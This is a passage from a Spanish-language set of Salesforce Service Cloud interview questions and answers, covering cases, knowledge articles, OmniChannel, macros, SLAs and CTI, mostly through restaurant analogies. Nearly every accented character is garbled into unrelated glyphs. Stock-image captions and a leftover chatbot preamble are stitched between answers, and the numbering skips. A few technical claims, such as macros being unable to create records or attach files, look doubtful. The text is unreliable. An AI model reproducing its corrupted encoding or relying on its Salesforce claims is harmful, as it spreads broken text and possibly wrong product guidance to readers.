Realizar un seguimiento del historial de un caso en Salesforce es como tener un mapa de d贸nde ha estado, a qui茅n ha visitado y qu茅 se ha hecho hasta el momento. Cada vez que alguien ve el caso, realiza un cambio o agrega algo, Salesforce toma nota de ello. As铆, cualquiera que observe el caso podr谩 ponerse al d铆a con su recorrido.

9. 驴Qu茅 son los equipos de casos?

Los equipos de casos en Salesforce son como grupos de proyectos en la escuela. Puede formar un equipo de varios usuarios con diferentes roles para colaborar y resolver un caso de manera eficiente.

10. 驴C贸mo se utilizan los feeds de casos?

Los feeds de casos son como l铆neas de tiempo de las redes sociales para cada caso. Muestran una vista cronol贸gica de todas las actividades, como mensajes, cambios de estado o acciones del usuario, relacionadas con un caso.

11. 驴Puedes realizar un seguimiento del tiempo dedicado a cada caso?

S铆, con funciones de seguimiento del tiempo. Es como un cron贸metro del trabajo: puede medir cu谩nto tiempo dedican los agentes a cada caso.

12. 驴C贸mo maneja Salesforce los correos electr贸nicos masivos en la gesti贸n de casos?

Salesforce le permite enviar correos electr贸nicos masivos para mantener actualizados a muchos clientes a la vez.

13. 驴Qu茅 son los hitos del caso?

Los hitos son como puntos de control en una carrera. Son objetivos espec铆ficos que los agentes deben alcanzar dentro de un plazo determinado mientras resuelven un caso.

14. 驴Cu谩l es la diferencia entre un caso y una orden de trabajo?

Un caso es un registro de un problema de un cliente, mientras que una orden de trabajo es una solicitud de trabajo, a menudo utilizada para servicios de campo o tareas f铆sicas.

15. 驴Cu谩les son los beneficios de utilizar Chatter para los casos?

Chatter es como una sala de chat para el trabajo. Los agentes pueden discutir casos, compartir archivos y obtener comentarios de los miembros del equipo directamente en el registro del caso.

16. 驴Cu谩les son los componentes de la regla de asignaci贸n de casos en Salesforce?

En Salesforce, la regla de asignaci贸n de casos giraba en torno a dos componentes principales, como la regla de caso y los criterios de caso.

Regla de caso: una regla de caso define una o m谩s de una condici贸n que debe cumplirse para ser asignada a un usuario espec铆fico. Podemos agregar tantas entradas de reglas como queramos a una sola regla de asignaci贸n.

Criterios de caso: Los criterios de caso son las condiciones que se basan en diferentes factores como el origen del caso, el estado, el tipo, etc.

Soluciones y base de conocimientos

1. 驴Qu茅 es el conocimiento de Salesforce?

Salesforce Knowledge es como una carpeta para toda la informaci贸n que su equipo necesita para ayudar a los clientes. Es un lugar donde puedes almacenar art铆culos, preguntas frecuentes, gu铆as de soluci贸n de problemas y m谩s, todo organizado y f谩cil de encontrar.

2. Explicar el proceso de creaci贸n y mantenimiento de una Base de Conocimiento en Salesforce.

Crear una base de conocimientos es como abastecer una biblioteca. Empiece por escribir art铆culos; pueden ser preguntas frecuentes, gu铆as pr谩cticas o pasos para la soluci贸n de problemas. Una vez que haya terminado, los colocar谩 en los estantes (es decir, los publicar谩 en Salesforce Knowledge) y as铆, estar谩n disponibles para que los lea su equipo o incluso sus clientes. Deber谩 revisar sus art铆culos con regularidad, actualizar la informaci贸n anterior y seguir agregando material nuevo para mantener todo actualizado.

3. 驴Cu谩l es la diferencia entre Soluciones y Art铆culos de Conocimiento?

Libro. Antiguo libro de texto, enciclopedia, diccionario o libro de cuentos de hadas. Dise帽o de dibujos animados felices para ni帽os, p谩gina para colorear, estampado de camisetas, icono, logotipo, etiqueta, parche, pegatina. SVG, cliparts, vectores y ilustraciones libres de derechos.

Las soluciones son como esas viejas enciclopedias : tienen informaci贸n 煤til, pero son un poco b谩sicas y solo su equipo puede leerlas. Por otro lado, los art铆culos de conocimiento son como tener una base de datos completa en l铆nea. Son m谩s din谩micos, pueden incluir videos e im谩genes y puedes compartirlos no solo con tu equipo sino tambi茅n con tus clientes.

4. 驴C贸mo pueden los usuarios de Service Cloud aprovechar los art铆culos de conocimiento?

Piense en los usuarios de Service Cloud como bibliotecarios. Cuando un cliente tiene una pregunta, en lugar de hojear montones de libros o luchar para encontrar un experto, puede buscar el art铆culo de conocimiento correcto y tener las respuestas al alcance de su mano. Esto hace que ayudar a los clientes sea m谩s r谩pido, m谩s preciso y, sinceramente, mucho menos estresante.

5. 驴Pueden los clientes acceder a los art铆culos de conocimiento? 驴Si es as铆, c贸mo?

隆Por supuesto que pueden! Puede configurar una comunidad de clientes o un sitio web p煤blico donde estos art铆culos est茅n disponibles. Los clientes pueden ingresar, buscar lo que necesitan y, a menudo, resolver sus propios problemas sin tener que levantar el tel茅fono o enviar un correo electr贸nico.

Consola de servicio

1.驴Qu茅 es la Consola de Servicio en Salesforce?

Ilustraci贸n de Chef y m谩s Vectores Libres de Derechos de Adulto - Chef, Dibujos Animados, Gorro De Chef - iStock

Imag铆nese ser chef en una cocina ocupada y bien equipada. La Consola de servicio es como su estaci贸n de cocina, donde tiene sus ingredientes (datos del cliente), utensilios (herramientas y aplicaciones) y recetas (art铆culos de conocimiento), todo en un solo lugar. Est谩s all铆, cocinando varios platos (manejando varios casos de clientes) a la vez. 馃嵆馃懇鈥嶐煃仇煍

2. 驴C贸mo mejora la Consola de servicio la productividad de los agentes?

Si eres chef en una cocina, 驴no ser铆a m谩s f谩cil cocinar si todos tus ingredientes, utensilios y recetas estuvieran en un solo lugar? Eso es lo que hace la Consola de servicio por los agentes. Pone todo lo que necesitan en un solo lugar. Pueden chatear con los clientes, echar un vistazo al historial de su cuenta y comprobar sus pedidos, todo al mismo tiempo. 隆Es como tener superpoderes, para que puedan ayudar a los clientes m谩s r谩pido y mejor!

3. 驴Se puede personalizar la Consola de servicio? Si es as铆, 驴c贸mo?

隆Por supuesto! Al igual que puedes reorganizar las aplicaciones en tu tel茅fono, puedes modificar la Consola de servicio para adaptarla a tus necesidades. Todo esto se hace a trav茅s de algo llamado "Creador de aplicaciones", donde arrastra y suelta los componentes que desea. Es como jugar un juego en el que dise帽as tu centro de mando.

Portales/comunidades de clientes y agentes:

1. 驴Qu茅 es una comunidad de clientes en el contexto de Service Cloud?

Dibujo infantil de CCC, bloques de colores 鈥 Catskill Community Center

Imag铆nese un centro comunitario en un vecindario. Es un lugar donde los residentes se re煤nen para discutir temas, compartir noticias, pedir prestado herramientas o incluso organizar eventos. Ahora, imagine si su empresa tuviera un 鈥渃entro comunitario鈥 virtual para sus clientes. Esa es una comunidad de clientes en Salesforce. Es un espacio en l铆nea donde sus clientes pueden reunirse para hacer preguntas, compartir ideas e incluso resolver problemas juntos. Tambi茅n pueden encontrar art铆culos o anuncios 煤tiles que haya publicado, 隆muy parecido a un tablero de anuncios comunitario!

2. 驴En qu茅 se diferencian los portales de agentes de los portales/comunidades de clientes?

Cree un portal de socios, habilite la cuenta de socio y los usuarios y agregue

En el centro comunitario, piense en el Portal del Cliente/Comunidad como el sal贸n principal donde todos se re煤nen, conversan y comparten. El Portal del Agente, sin embargo, es como la oficina administrativa que da al sal贸n principal. Desde esta oficina, sus agentes de servicio al cliente pueden observar lo que sucede en la comunidad, intervenir para ayudar cuando sea necesario o proporcionar recursos.

3. 驴C贸mo pueden los clientes utilizar las comunidades para autoservicio?

En una comunidad de clientes, los clientes pueden explorar los art铆culos que usted ha proporcionado, encontrar respuestas a preguntas comunes o hacer una nueva pregunta que cualquier miembro de la comunidad puede responder. Esto les permite encontrar soluciones en su propio tiempo y t茅rminos, sin necesidad de llamar directamente a la 鈥渙ficina del administrador鈥 (contactar con soporte).

4. 驴Cu谩les son las mejores pr谩cticas para crear una comunidad de clientes?

La comunidad de clientes de Salesforce debe ser f谩cil de usar y proporcionar valor real. Aseg煤rese de que sea de f谩cil acceso, con categor铆as claras para la discusi贸n y una amplia base de conocimientos. Actualice y modere peri贸dicamente el contenido para garantizar que sea relevante y apropiado. Fomente la participaci贸n reconociendo a los miembros activos u organizando eventos o desaf铆os comunitarios.

Flujo de trabajo y automatizaci贸n

1. 驴Se puede automatizar el enrutamiento de casos? 驴Si es as铆, c贸mo?

En Service Cloud, los casos se pueden enrutar autom谩ticamente. Puede establecer criterios, como si un caso proviene de un cliente VIP, va directamente a su mejor agente, o si es un problema com煤n, va a cualquier agente disponible. De esta manera, todos reciben un servicio eficiente y eficaz.

2. 驴C贸mo se automatiza el seguimiento del acuerdo de nivel de servicio (SLA) en Service Cloud?

驴Est谩s preparado para Domino's... - Domino's Pizza Bangladesh | Facebook

Imag铆nese el restaurante prometiendo que cada pedido se servir谩 en 30 minutos o, de lo contrario, ser谩 gratis. Para cumplir esta promesa, tienen un sistema que inicia una cuenta regresiva en el momento en que se realiza un pedido y alerta al gerente si llega a los 25 minutos. Service Cloud puede realizar un seguimiento de los SLA de forma similar. Puede establecer los plazos en los que los casos deben resolverse seg煤n su nivel de prioridad y automatizar recordatorios, escalamientos u otras acciones si esos plazos se acercan o no se cumplen. 隆Mantiene al equipo responsable y a los clientes contentos!

3. 驴Podr铆a definir la Gesti贸n de derechos en el contexto de Salesforce Service Cloud?

La gesti贸n de derechos en Salesforce Service Cloud es una funci贸n que ayuda a las empresas a definir, hacer cumplir y realizar un seguimiento de los acuerdos de nivel de servicio (SLA) con sus clientes. Permite a las empresas establecer el nivel de soporte al que tiene derecho un cliente, en funci贸n de factores como garant铆as de productos, contratos de servicio o planes de soporte. Esta caracter铆stica garantiza que los clientes reciban el soporte al que tienen derecho dentro del plazo acordado.

4. 驴Puedes explicar la funcionalidad de Visual SLA Timelines?

Los cronogramas visuales de SLA en Salesforce Service Cloud ofrecen una representaci贸n gr谩fica de los cronogramas asociados con cada SLA. Ayudan a los agentes de servicio a visualizar el tiempo restante necesario para resolver un caso seg煤n el SLA asociado. Esto permite a los agentes priorizar su trabajo de manera efectiva y garantizar el cumplimiento de los t茅rminos del SLA.

Informes y paneles

1. 驴C贸mo mejoran los informes y paneles las operaciones de servicio?

Imag铆nese que al final de cada d铆a, el gerente recibe un resumen de todo lo sucedido: cu谩ntos clientes llegaron, cu谩l fue el plato m谩s popular, cu谩ntos elogios o quejas se recibieron, etc. En Service Cloud, los informes y paneles son como este resumen diario. Ofrecen a los directivos una visi贸n r谩pida pero completa de c贸mo van las cosas. 驴Los clientes esperan demasiado? 驴Algunos problemas se resuelven m谩s r谩pido que otros? Esta informaci贸n ayuda al equipo a saber qu茅 funciona y qu茅 no, para que puedan mejorar su "servicio".

2. 驴Se puede realizar un seguimiento del rendimiento de los agentes con Service Cloud? Si es as铆, 驴c贸mo?

Service Cloud le permite realizar un seguimiento del desempe帽o de sus agentes. Puede ver cu谩ntos casos han resuelto, qu茅 tan r谩pido est谩n trabajando e incluso c贸mo los clientes califican su servicio. Es como un gr谩fico de desempe帽o para los camareros, pero para sus agentes de servicio.

3. 驴Cu谩les son algunas m茅tricas de servicio comunes que puede rastrear en Service Cloud?

En el mundo de Service Cloud, las m茅tricas comunes incluyen cosas como

  • tiempo promedio de resoluci贸n de casos
  • puntuaciones de satisfacci贸n del cliente
  • tasas de resoluci贸n del primer contacto
  • vol煤menes de casos por tipo o fuente

Integraci贸n de CTI y telefon铆a

1. 驴Qu茅 es la Integraci贸n Telef贸nica Computadora (CTI)?

Representante De Servicio Al Cliente De Dibujos Animados De Forma Tridimensional De Persona De Negocios - Banco de fotos e im谩genes de stock - iStock

Es un t茅rmino para un sistema que permite que las computadoras interact煤en con los tel茅fonos. Significa que cuando alguien llama, el sistema de atenci贸n al cliente sabe inmediatamente qui茅n es y cu谩l es su historial con la empresa.

2.驴C贸mo mejora CTI el servicio al cliente?

En el restaurante sin CTI, cada llamada de un cliente ser铆a como una reuni贸n de camareros durante la cena por primera vez. Tendr铆an que volver a hacer todas las preguntas b谩sicas: "驴Tiene alguna alergia?" 鈥溌縋refieres asiento junto a la ventana o en el pasillo?鈥 etc茅tera. Con CTI, es como si el camarero ya te conociera. Te saludan por tu nombre, recuerdan que eres al茅rgico al man铆, saben que te gusta el queso extra y tienen lista tu mesa favorita. En t茅rminos de atenci贸n al cliente, esto ahorra tiempo, personaliza la experiencia del cliente.

3. 驴Puede darnos un ejemplo de c贸mo se utiliza CTI en un escenario de call center?

Cuando un cliente llama, la pantalla del agente muestra inmediatamente el nombre del cliente, su historial de compras, problemas anteriores y cualquier otra informaci贸n relevante. Luego, el agente puede saludar al cliente por su nombre y atender sus necesidades de manera proactiva, a veces incluso antes de que el cliente indique por qu茅 llama. Se trata de hacer que la experiencia de servicio sea fluida y placentera, como tener la mejor mesa lista incluso antes de entrar.

Servicio al cliente en redes sociales

1. 驴Qu茅 es el servicio al cliente social en Salesforce?

驴Sabes c贸mo puedes chatear con amigos y ver qu茅 est谩n haciendo en las redes sociales? Salesforce permite a las empresas hacer lo mismo con sus clientes. Pueden revolotear y ver lo que la gente dice sobre ellos en las redes sociales.

2. 驴C贸mo pueden los agentes utilizar Salesforce para responder a las consultas de los clientes en las redes sociales?

Ya sea que los clientes tuiteen, publiquen en Facebook o compartan historias de Instagram sobre sus experiencias o problemas, los agentes no tienen que desplazarse de una plataforma a otra. Pueden responder a todas estas publicaciones sociales desde su 'colmena' de Salesforce, asegur谩ndose de que nadie se sienta ignorado y que cada problema se resuelva r谩pidamente.

3. 驴Puedes realizar un seguimiento de las conversaciones de las redes sociales en Service Cloud?

隆Absolutamente! Service Cloud controla todas las conversaciones que ocurren entre la empresa y los clientes en las plataformas sociales. Recuerda qui茅n dijo qu茅, almacena informaci贸n sobre los problemas del cliente e incluso c贸mo se resolvi贸. De esta manera, si el cliente vuelve a comunicarse, la empresa no hace las mismas preguntas de siempre, sino que contin煤a la conversaci贸n justo donde la dej贸, como si retrocediera en el historial de chat con un amigo.

Chat y mensajer铆a

1. 驴C贸mo funciona Live Agent en Service Cloud?

Imag铆nese si estuviera comprando en una gran tienda y en lugar de tener que buscar ayuda por todo el lugar, apareciera un asistente personal a su lado en el momento en que parec铆a confundido. As铆 es Live Agent en el mundo online. Es una caracter铆stica de Service Cloud que permite a los agentes de servicio al cliente chatear en tiempo real con los clientes mientras est谩n en el sitio web para responder preguntas, dar consejos o ayudarlos a encontrar lo que necesitan.

2. 驴Cu谩les son los beneficios de utilizar el chat para atenci贸n al cliente?

Los clientes obtienen atenci贸n instant谩nea y sus preguntas pueden responderse de inmediato. Adem谩s, es muy conveniente porque pueden hacer otras cosas mientras conversan. Para las empresas, significa que pueden manejar varios chats a la vez, lo que es como poder ayudar a varios clientes al mismo tiempo en diferentes l铆neas de pago.

3. 驴Se pueden automatizar las respuestas en Live Agent?

S铆, si alguien dice "hola", el sistema puede decir autom谩ticamente "隆Hola!". 驴C贸mo puedo ayudarte hoy?" Est谩 programado para reconocer palabras o preguntas espec铆ficas y luego proporcionar una respuesta preestablecida. Esto significa que el agente no tiene que escribir las mismas respuestas una y otra vez y los clientes obtienen respuestas ultrarr谩pidas a preguntas comunes.

4. 驴C贸mo maneja Salesforce los mensajes SMS para el servicio de atenci贸n al cliente?

Salesforce aporta esa comodidad al servicio al cliente. Con las funciones de mensajer铆a SMS, las empresas pueden enviar mensajes de texto a los clientes y los clientes pueden responder. Pueden enviar recordatorios de citas, confirmaciones, actualizaciones r谩pidas o incluso responder preguntas, todo a trav茅s de mensajes de texto. Todo se rastrea y almacena en Salesforce, para que la empresa no pierda la conversaci贸n.

Integraci贸n de correo electr贸nico

1. 驴C贸mo se utiliza el correo electr贸nico en Service Cloud?

No se trata s贸lo de enviar y recibir correos electr贸nicos; es un sistema completo que gestiona las comunicaciones por correo electr贸nico con los clientes. Puede mantener un historial de todas las interacciones, para saber exactamente qu茅 se dijo y cu谩ndo.

2. 驴Puedes automatizar las respuestas por correo electr贸nico?

– 隆Absolutamente! Seg煤n ciertas palabras clave en el correo electr贸nico del cliente o criterios espec铆ficos, el sistema puede enviar una respuesta escrita previamente. Es instant谩neo, por lo que los clientes no tienen que esperar y les da a los agentes reales m谩s tiempo para manejar los problemas complejos que necesitan un toque humano.

3. 驴C贸mo se asegura de que los correos electr贸nicos de los clientes se env铆en a los agentes adecuados?

Utilice el enrutamiento de correo electr贸nico en Service Cloud. Usando las reglas que usted configura, los correos electr贸nicos se pueden dirigir a ciertos agentes seg煤n el contenido del correo electr贸nico, la informaci贸n del cliente o incluso la carga de trabajo de cada agente.

Soporte M贸vil

1. 驴C贸mo respalda Salesforce el servicio al cliente m贸vil?

Con la aplicaci贸n m贸vil Salesforce, todo lo que puede hacer en su escritorio, ahora puede hacerlo en su tel茅fono: verificar los detalles del cliente, actualizar casos o incluso chatear con los clientes.

2. 驴Cu谩les son las limitaciones del servicio al cliente m贸vil en Salesforce?

Dibujos animados y c贸mics de Parking Boot - im谩genes divertidas de CartoonStock

Si bien la aplicaci贸n m贸vil Salesforce es s煤per poderosa, es un poco como intentar colocar una nave espacial en un lugar de estacionamiento. Algunas tareas o informes complejos pueden resultar dif铆ciles de navegar en una pantalla m谩s peque帽a y es posible que ciertas personalizaciones no se muestren como lo hacen en un escritorio.

M茅tricas y an谩lisis de rendimiento

1. 驴C贸mo se mide la satisfacci贸n del cliente en Service Cloud?

En Service Cloud, no solo responde las consultas de los clientes y espera que est茅n satisfechos; lo verifica utilizando herramientas como encuestas, puntajes CSAT y Net Promoter Scores (NPS). Puede enviarlos autom谩ticamente despu茅s de que se resuelva un caso. Es como preguntar: "驴Qu茅 le pareci贸 nuestro servicio?" 隆para que puedas seguir viviendo esa experiencia de servicio cinco estrellas!

2. 驴Qu茅 es una puntuaci贸n de satisfacci贸n del cliente (CSAT)?

CSAT es como preguntarle a sus clientes, en una escala del 1 al 5. Es una puntuaci贸n que los clientes otorgan en funci贸n de su satisfacci贸n con una interacci贸n espec铆fica que tuvieron con su equipo de servicio. Cuanto mayor sea la puntuaci贸n, mejor trabajo hizo para cumplir (隆o superar!) sus expectativas.

3. 驴Qu茅 es Net Promoter Score (NPS) y c贸mo se utiliza en Salesforce?

NPS es como preguntar a sus comensales: "驴Recomendar铆a nuestro restaurante a otras personas?" y luego, dependiendo de su respuesta, se agrupan en Promotores, Pasivos o Detractores. No se trata s贸lo de un plato de sopa; 隆Lo importante es si toda la experiencia gastron贸mica les hace querer cont谩rselo a sus amigos! En Salesforce, puede enviar encuestas NPS y luego realizar un seguimiento de su puntuaci贸n a lo largo del tiempo, con el objetivo siempre de mejorar la experiencia del curso completo.

4. 驴Se pueden integrar herramientas de encuestas externas con Salesforce?

Puede integrarlo con herramientas de encuestas externas que quiz谩s ya est茅 utilizando o prefiera, como SurveyMonkey o Google Forms. De esta manera, re煤ne todos esos comentarios cruciales en un solo lugar, lo que facilita ver el panorama general y tomar decisiones informadas.

Inteligencia artificial (IA)

1. 驴Qu茅 es Salesforce Einstein y c贸mo se aplica a Service Cloud?

Salesforce Einstein utiliza IA para analizar las diferentes interacciones y datos, predecir las necesidades de los clientes e incluso automatizar las respuestas.

2. 驴C贸mo funcionan los Bots de Einstein?

Se encargan de las tareas sencillas y rutinarias del servicio de atenci贸n al cliente, como responder preguntas comunes o guiar a un usuario a trav茅s de un proceso establecido.

3. 驴Puede Einstein sugerir respuestas a los agentes?

Es como un manual din谩mico e inteligente que no s贸lo tiene todas las respuestas sino que tambi茅n sabe exactamente cu谩ndo proporcionarlas. Analiza el problema del cliente y proporciona al agente la mejor respuesta o soluci贸n, acelerando el servicio y asegur谩ndose de que las "comidas" de su servicio al cliente sean siempre deliciosas.

Servicio de campo

1. 驴Qu茅 es Field Service Lightning?

Vector libre | Banner de cami贸n de comida de estilo de dibujos animados

Imagina que organizas un festival de camiones de comida, donde varios camiones sirven diferentes delicias por todo el lugar. Ahora, Field Service Lightning (FSL) es como tener un coordinador de eventos s煤per organizado que sabe qu茅 cami贸n de comida est谩 d贸nde, qu茅 sirven, qui茅n est谩 disponible para servir delicias y qui茅n se toma un descanso. 隆Se trata de administrar su equipo sobre la marcha, asegur谩ndose de que tengan los "ingredientes" correctos (herramientas, piezas) para resolver cualquier desaf铆o "culinario" (problema del cliente) que encuentren en el campo!

2.驴C贸mo se integra Field Service Lightning con Service Cloud?

Field Service Lightning, cuando se integra con Service Cloud, brinda informaci贸n en tiempo real hacia y desde las unidades m贸viles (FSL), para que todos sepan lo que sucede a su alrededor.

3. 驴Puede programar y enviar agentes de servicio de campo utilizando Salesforce?

隆Absolutamente! Puede planificar horarios, asignar agentes a diferentes trabajos y asegurarse de que est茅n listos para mejorar sus especialidades seg煤n sea necesario. Y si hay una prisa repentina, el sistema puede redirigir a los agentes desde lugares menos concurridos para que ayuden, equilibrando la carga de trabajo y manteniendo contentos a los clientes.

Claro, profundicemos en las macros en Service Cloud de Salesforce con un enfoque conversacional f谩cil de recordar. 隆Imag铆nate que estamos charlando en tu cafeter铆a favorita!

macros

1.驴Qu茅 es una macro en Salesforce Service Cloud?

Es un atajo genial que realiza tareas repetitivas por ti. Entonces, si te encuentras haciendo los mismos clics una y otra vez, una macro dice: "隆Oye, ya tengo esto!". 隆Y listo!

2. 驴Todos pueden usar mis Macros?

Si los mantiene p煤blicos, cualquiera puede usarlos. Pero si cree que su macro es secreta, puede guard谩rsela para usted. En Salesforce, se trata de establecer permisos y compartir configuraciones.

3. 驴Pueden las macros interactuar con aplicaciones de terceros en Salesforce?

鈥 Directamente, no. Las macros est谩n dise帽adas para automatizar las funcionalidades est谩ndar de Salesforce.

4. 驴Es posible deshacer las acciones de una Macro una vez ejecutada?

No, no hay un bot贸n "deshacer" para las macros. Una vez que se ejecuta una macro, sus acciones se consideran definitivas.

5. 驴Se pueden programar las macros para que se ejecuten a una hora espec铆fica?

No, las macros no se pueden programar. Son como un conjunto de herramientas manuales que requieren que alguien las utilice activamente; no funcionan con un temporizador autom谩tico.

6. 驴Qu茅 tipo de acciones no puedes realizar con una Macro?

Las macros no pueden manejar procesos complejos de toma de decisiones, interactuar con sistemas externos ni crear registros.

7. 驴C贸mo se organizan y gestionan las Macros para un equipo de agentes en Service Cloud?

Utilice carpetas para organizar y compartir colecciones de macros.

8. 驴Se puede modificar una macro activa? 驴Hay que tomar alguna precauci贸n?

S铆, puede editar una macro y probar las modificaciones antes de su uso generalizado.

9. 驴Es posible asignar Macros espec铆ficas a usuarios o perfiles espec铆ficos?

Si bien no puede asignar una macro directamente a usuarios espec铆ficos, puede controlar el acceso utilizando las carpetas de macros y la configuraci贸n de uso compartido de Salesforce.

10. 驴C贸mo se relacionan las macros con la API de Salesforce?

Las macros no interact煤an directamente con la API de Salesforce. Funcionan dentro de la interfaz de usuario, automatizando las acciones manuales del usuario.

11. 驴Se pueden utilizar las macros junto con Salesforce Flows?

Las macros y los flujos tienen diferentes prop贸sitos. Mientras que las Macros automatizan las acciones del usuario, los Flujos automatizan los procesos en el backend.

12. 驴C贸mo funciona el manejo de errores con Macros?

Si una macro encuentra un problema durante la ejecuci贸n, se detiene y se muestra un mensaje de error.

13. 驴Pueden los usuarios sin privilegios de administrador crear o modificar macros?

Los usuarios pueden crear macros personales, pero crear o modificar macros compartidas normalmente requiere ciertos permisos o privilegios de administrador.

14. 驴Existe alguna forma de realizar un seguimiento de los cambios realizados por una Macro?

No existe un mecanismo de seguimiento directo para las macros, pero puede utilizar las funciones de seguimiento de auditor铆a est谩ndar de Salesforce para ver los cambios en los registros.

15. 驴Cu谩l es el papel de las instrucciones macro en el proceso de creaci贸n?

Las instrucciones macro son el coraz贸n de la macro y dictan qu茅 acciones realiza. Elaborarlos es como escribir una lista detallada de tareas pendientes para otra persona; es necesario especificar cada paso de forma clara y en orden.

29. 驴Puedes usar macros para enviar correos electr贸nicos con archivos adjuntos?

No, las macros pueden automatizar el proceso de env铆o de un correo electr贸nico, pero no pueden agregar archivos adjuntos.

Omnicanal

1. 驴Puedes explicar qu茅 es OmniCanal en Salesforce?

Conozca todo sobre: OmniCanal en Salesforce

OmniCanal es una caracter铆stica de Salesforce que permite la gesti贸n de elementos de trabajo entrantes desde diferentes canales de comunicaci贸n. Se trata de dirigir el trabajo adecuado a los agentes adecuados en el momento adecuado, en funci贸n de su disponibilidad y capacidad, garantizando que las cargas de trabajo se gestionen de manera eficiente.

2: 驴C贸mo beneficia OmniCanal a un equipo de servicio al cliente?

OmniChannel ayuda a los equipos de servicio al cliente al distribuir el trabajo de manera uniforme entre los agentes, reducir los tiempos de espera de los clientes y permitir que los agentes manejen el trabajo desde varios canales dentro de una sola plataforma. Este enfoque simplificado conduce a un mejor servicio al cliente y una mayor productividad de los agentes.

3. 驴Cu谩l es la diferencia entre OmniCanal y distribuci贸n del trabajo tradicional?

La distribuci贸n tradicional del trabajo a menudo implica una asignaci贸n manual, lo que puede llevar mucho tiempo y ser ineficiente. OmniChannel, por otro lado, dirige autom谩ticamente el trabajo a los agentes m谩s adecuados seg煤n criterios preestablecidos y la disponibilidad de los agentes en tiempo real, lo que hace que el proceso sea m谩s r谩pido y eficiente.

4. 驴Puede explicar el 鈥淓stado de presencia鈥 en OmniCanal?

鈥淓stado de presencia鈥 se refiere a la disponibilidad actual de un agente para recibir trabajo. Los agentes pueden configurar su estado para mostrar si est谩n disponibles, ocupados o ausentes, y OmniCanal utiliza esta informaci贸n para enrutarles el trabajo en consecuencia.

5. 驴C贸mo garantiza OmniCanal que los casos de alta prioridad se manejen r谩pidamente?

OmniCanal permite a los administradores establecer niveles de prioridad para diferentes tipos de trabajo. Cuando llegan elementos de trabajo, se enrutan autom谩ticamente seg煤n estos niveles de prioridad. Los elementos de alta prioridad se env铆an al principio de la cola para que se atiendan m谩s r谩pido.

6. 驴Se puede integrar OmniCanal con otras funciones de Salesforce?

S铆, OmniCanal se integra perfectamente con otras funciones de Salesforce. Por ejemplo, funciona con Service Cloud para gestionar procesos de atenci贸n al cliente, Sales Cloud para procesos de ventas e incluso aplicaciones personalizadas de Salesforce.

7. 驴C贸mo admite OmniCanal los diferentes canales de comunicaci贸n?

OmniCanal es vers谩til al admitir varios canales de comunicaci贸n como correo electr贸nico, chat, SMS y redes sociales. Dirige todos estos diferentes tipos de trabajo a los agentes a trav茅s de la misma plataforma, garantizando un enfoque unificado del servicio al cliente.

8. 驴Puede describir un escenario en el que el enrutamiento omnicanal podr铆a resultar beneficioso?

Imagine un escenario en el que hay un gran volumen de solicitudes de servicio entrantes y una cantidad limitada de agentes disponibles. OmniCanal dirige eficientemente las solicitudes a los agentes disponibles seg煤n sus habilidades, carga de trabajo y prioridad de los casos, garantizando una carga de trabajo equilibrada y respuestas oportunas.

9. 驴Cu谩les son los tipos de Omni Channel?

Basado en cola 鈫 Asignar agentes a la cola

Basado en habilidades 鈫 Asignar habilidades a los agentes

Enrutamiento externo 鈫 Configuraci贸n de enrutamiento de terceros

10. 驴C贸mo configurar Omni Channel?

  1. Habilite OmniCanal.
  2. Crear canales de atenci贸n.
  3. Cree configuraciones de enrutamiento.
  4. Asociar configuraciones de enrutamiento y agentes con colas.
  5. Crear configuraciones de presencia.
  6. Crear estados de presencia.
  7. Agregue el widget omnicanal.

11. 驴C贸mo crear un Canal de Atenci贸n?

Se puede crear un canal de servicio para cualquier objeto de Salesforce, como un caso, cliente potencial, sesi贸n SOS o objeto personalizado.

12. 驴C贸mo crear una configuraci贸n de enrutamiento?

Las configuraciones de enrutamiento determinan c贸mo se enrutan los elementos de trabajo a los agentes.

Util铆celos para priorizar la importancia relativa y el tama帽o de los elementos de trabajo de sus colas.

13. 驴Explicar los ajustes de configuraci贸n de enrutamiento?

Prioridad de ruta:

El orden en el que los elementos de trabajo de la cola asociados con esta configuraci贸n de enrutamiento se enrutan a los agentes. Los objetos en colas con un n煤mero menor se enrutan primero a los agentes.

Modelo de enrutamiento:

Determina c贸mo se enrutan los elementos de trabajo entrantes a los agentes asignados al canal de servicio de configuraci贸n.

Tiempo de espera de empuje (segundos):

Establece un l铆mite de tiempo para que un agente responda a un elemento antes de enviarlo a otro agente.

Unidades de Capacidad:

Cantidad de capacidad total del agente.

Preguntas basadas en escenarios

1. 驴C贸mo dise帽ar铆a una soluci贸n para respaldar a un equipo de soporte multiling眉e que utiliza Service Cloud?

Service Cloud de Salesforce admite equipos multiling眉es mediante el uso de funciones como Translation Workbench, que le permite traducir objetos est谩ndar y personalizados, reglas de validaci贸n, etiquetas de campo y m谩s, a cualquiera de los idiomas admitidos.

Adem谩s, los art铆culos de conocimiento se pueden escribir y traducir a varios idiomas, lo que permite a los agentes de soporte acceder y proporcionar informaci贸n en varios idiomas.

Tambi茅n puede configurar OmniCanal para enrutar casos a los agentes adecuados seg煤n sus habilidades ling眉铆sticas. De esta manera, los clientes pueden interactuar con el soporte en su idioma preferido, mejorando la satisfacci贸n del cliente.

2. 驴Puede explicarme el proceso de dise帽o de una soluci贸n de Service Cloud que incorpore reglas de escalamiento de casos y SLA para garantizar una resoluci贸n oportuna del caso?

  1. Es necesario definir los SLA, es decir, el tiempo dentro del cual se deben resolver casos de ciertos tipos o prioridades.
  2. Una vez definidos, configurar谩 los procesos de derechos para especificar el cronograma para cada etapa de resoluci贸n del caso.
  3. Luego, usar铆a Milestones dentro de estos procesos para rastrear si los casos se est谩n resolviendo dentro de los SLA definidos.
  4. Las reglas de escalamiento de casos se usar铆an para escalar casos que est茅n en peligro de violar sus SLA. Estos se pueden configurar para escalar seg煤n la antig眉edad del caso, la prioridad o incluso si el caso ha estado inactivo. Los casos escalados pueden luego remitirse autom谩ticamente a agentes o supervisores con m谩s experiencia para recibir atenci贸n urgente.

3. 驴C贸mo abordar铆a el dise帽o de una soluci贸n para un centro de llamadas a gran escala que necesita gestionar grandes vol煤menes de casos y llamadas?

鈥 Para los centros de llamadas de gran volumen, le conviene aprovechar la funci贸n OmniCanal de Service Cloud, que garantiza que los casos se dirijan a los agentes adecuados seg煤n su disponibilidad y conjunto de habilidades, lo que ayuda a gestionar la carga de trabajo de manera eficiente. La integraci贸n de la telefon铆a mediante Open CTI permite a los agentes recibir y realizar llamadas directamente dentro de Salesforce, garantizando que tengan toda la informaci贸n relevante del cliente al alcance de su mano.

4. 驴Cu谩l es su experiencia con la integraci贸n de aplicaciones de terceros en Service Cloud y c贸mo ha abordado la soluci贸n de problemas de integraci贸n en el pasado?

